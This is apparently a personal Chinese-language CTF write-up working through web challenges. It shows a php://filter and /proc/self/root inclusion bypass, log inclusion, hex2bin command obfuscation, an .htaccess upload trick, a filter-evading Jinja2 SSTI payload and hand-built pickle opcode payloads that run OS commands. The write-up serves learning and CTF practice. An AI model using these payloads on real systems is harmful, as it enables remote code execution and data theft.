web
phpdest
一道trick题目,想着学那么久来新生赛试试手,结果第一题不会了,还好是个trick题目
利用
这里很重要加深复习了三个知识点:
1.为什么使用base64加密读取?
之前一直不明白以为是有字符问题,其实是因为如果不加密读取就会执行代码那就看不到了,不过利用这点想到一个问题,是不是可以利用这一点读取进行执行来出题目?但这前提就是原文件不是php文件或者无执行权限,如何出还没想过,可能出题目也较为普通
2.为什么/proc/self/root多次使用就可以绕过
/proc/self
指向当前进程的/proc/pid/
,/proc/self/root/
是指向/
的符号链接,通过这一点意思就是无数个/,再因为多个能绕晕...具体代码也没有去深究(跟第三点有关)。
专门去测试了一下包含时前面用多个/是不影响读取的。
想到一个出题点就是preg一个不允许单个/的出现,但多个/可以,不过这里前面的php协议就要和后半段分开来输入才能实现这个,都是我自己的想法可能没什么含金量哈哈
3.为什么不能直接输入flag.php,因为上文已经有include('flag.php')已经包含过,下面require就不能了
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
还在测试的过程中发现不能包含自身会一直循环包含导致死机,这就是第一点导致的。
非预期解
看了别的师傅wp发现这个还有新的解法就是本题没有去掉/var/log/nginx/access.log
日志包含其实一般刚学用的还挺多的。
来个拓展
<?php
$path=$_GET['path'];
include($path . '/phpinfo.php');
?>
包含自己的就可以
如果php版本小于5.3.4,我们可以尝试使用%00截断,这里php版本为7.3.4,不适用。
还有一种截断方法就是?号截断,在路径后面输入?号,服务器会认为?号后面的内容为GET方法传递的参数,成功读取test.php如下:
EasyPHP
利用报错设置,data函数的
d - 代表月中的天 (01 - 31)
m - 代表月 (01 - 12)
Y - 代表年 (四位数)
H - 小时 00-23
i ——分钟数
这几个都不能实现绕过,所以就是报错,用数组就可以报错,这题让我想到了SICTF的oysterphp题目里面我一度想用数组绕过,发现会系统报错所以印象深刻,当然那后来使用prec回溯。
set_error_handler(
function() use(&$fl4g) {
print $fl4g;
}
);
SimpleRCE
又一次复习一下那些比较偏的绕过
网上的脚本一直躺着pharm里面,总算用上了,还是要常被,自己写还是有点费脑了
1.取反
2.异或
AddType application/x-httpd-php png
php_value auto_append_file /flag
呃刚去看了下,好像很简单的,就是把原本的命令先进行取反再url编码一下再取反就可以了。
还有就是hex2bin绕过的也不错更为易懂
hex2bin('73797374656d')(hex2bin('636174202f666c6167'));
这一次的笔记就是巩固+深究一下当初那些一把梭的脚本实际的运用和理解。
funny_upload
.htaccess
就是更改解析设置了
AddType application/x-httpd-php png
php_value auto_append_file /flag
EasySSTI
过滤了" ' class request
payload
当然不要自己构造了,除非你是大佬,我是脚本小子。。。。
{{((lipsum|attr(lipsum|escape|batch(22)|list|first|last*2+dict(slabolg=x)|first|reverse+lipsum|escape|batch(22)|list|first|last*2)|attr(lipsum|escape|batch(22)|list|first|last*2+dict(metiteg=x)|first|reverse+lipsum|escape|batch(22)|list|first|last*2)(lipsum|escape|batch(22)|list|first|last*2+dict(snitliub=x)|first|reverse+lipsum|escape|batch(22)|list|first|last*2)|attr(lipsum|escape|batch(22)|list|first|last*2+dict(metiteg=x)|first|reverse+lipsum|escape|batch(22)|list|first|last*2)(lipsum|escape|batch(22)|list|first|last*2+dict(tropmi=x)|first|reverse+lipsum|escape|batch(22)|list|first|last*2))(dict(so=x)|first|reverse)|attr((lipsum()|urlencode|first+dict(c=x)|join)*5%(112,111,112,101,110)))((lipsum()|urlencode|first+dict(c=x)|join)*7%(99,97,116,32,47,102,42))|attr(dict(daer=x)|first|reverse)()}}
middle
这是一道pickle序列化题目
借此机会我进行详细的学习和讲解
pickle的构造大致分成两种:
1.自己手写
cos
system #引入 os 模块的 system 方法,这里实际上是一步将函数添加到 stack 的操作
(S'ls /' # 把当前 stack 存到 metastack,清空 stack,再将 'ls' 压入 stack
tR. # t 也就是将 stack 中的值弹出并转为 tuple,把 metastack 还原到 stack,再将 tuple 压入 stack
# R 的内容就成为了 system(*('ls /',)) ,然后 . 代表结束,返回当前栈顶元素
<=> __import__('os').system(*('ls /',))
实现成功
2.利用 pickle 的 __reduce__
可以直接用它的操作模式实现我们上面手搓的 __import__('os').system(*('ls',))
的构造。( 缺点:只能执行单一的函数,很难构造复杂的操作 )
成功
现在ctf的比赛都在变难,所以最基本的pick序列化可能不怎么够用了,所以大多要第一种需要绕过默写特定指令
只能用内置builtins
opcode=b'''cbuiltins
getattr
p0 #取到 getattr
(cbuiltins
dict
S'get'
tRp1
cbuiltins
globals
)Rp2 # getattr(dict, 'get')
00g1
(g2
S'__builtins__' # get(__import__('builtins').globals(), '__builtins__')
tRp3
0g0
(g3
S'eval'
tR(S'__import__("os").system("calc")' # 取到 eval 然后实现 RCE
tR.
'''
R指令绕过
import pickle
class Person:
def __init__(self,age):
self.age=age
opcode=b'''(c__main__
Person
I18
o}(S"__setstate__"
cos
system
ubS"calc"
b.'''
p=pickle.loads(opcode)
python内置函数 可绕i,b,R,o
import pickle
opcode=b'''c__builtin__
map //filter
p0
0(S'whoami'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
bytes //tuple
p4
(g3
t\x81.'''
pickle.loads(opcode)
敏感字符 bypass
S
S
操作码本身是 String ,是支持十六进制的识别的S'flag' => S'\x66\x6c\x61\x67'S'flag' => V'\u0066\u006C\u0061\u0067'不用单引号-0(V\u0077\u0068\u006f\u0061\u006d\u0069用原本函数
b'''(cconfig backdoor (S'__import__("os").popen("cat /flag.txt").read()' lo.'''
/** * 复制并使用代码请注明引用出处哦~ * Lazzaro @ https://lazzzaro.github.io */
至于这题其实并没有那么复杂
主要用到了里面自己的函数需要
所以构造一下就可以了
(cconfig
backdoor
(V\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f\u0028\u0022\u006f\u0073\u0022\u0029\u002e\u0070\u006f\u0070\u0065\u006e\u0028\u0022\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067\u002e\u0074\u0078\u0074\u0022\u0029\u002e\u0072\u0065\u0061\u0064\u0028\u0029
lo.
KGNjb25maWcKYmFja2Rvb3IKKFZcdTAwNWZcdTAwNWZcdTAwNjlcdTAwNmRcdTAwNzBcdTAwNmZcdTAwNzJcdTAwNzRcdTAwNWZcdTAwNWZcdTAwMjhcdTAwMjJcdTAwNmZcdTAwNzNcdTAwMjJcdTAwMjlcdTAwMmVcdTAwNzBcdTAwNmZcdTAwNzBcdTAwNjVcdTAwNmVcdTAwMjhcdTAwMjJcdTAwNjNcdTAwNjFcdTAwNzRcdTAwMjBcdTAwMmZcdTAwNjZcdTAwNmNcdTAwNjFcdTAwNjdcdTAwMmVcdTAwNzRcdTAwNzhcdTAwNzRcdTAwMjJcdTAwMjlcdTAwMmVcdTAwNzJcdTAwNjVcdTAwNjFcdTAwNjRcdTAwMjhcdTAwMjkKbG8u
再编码上传即可
持续ing更新中。。。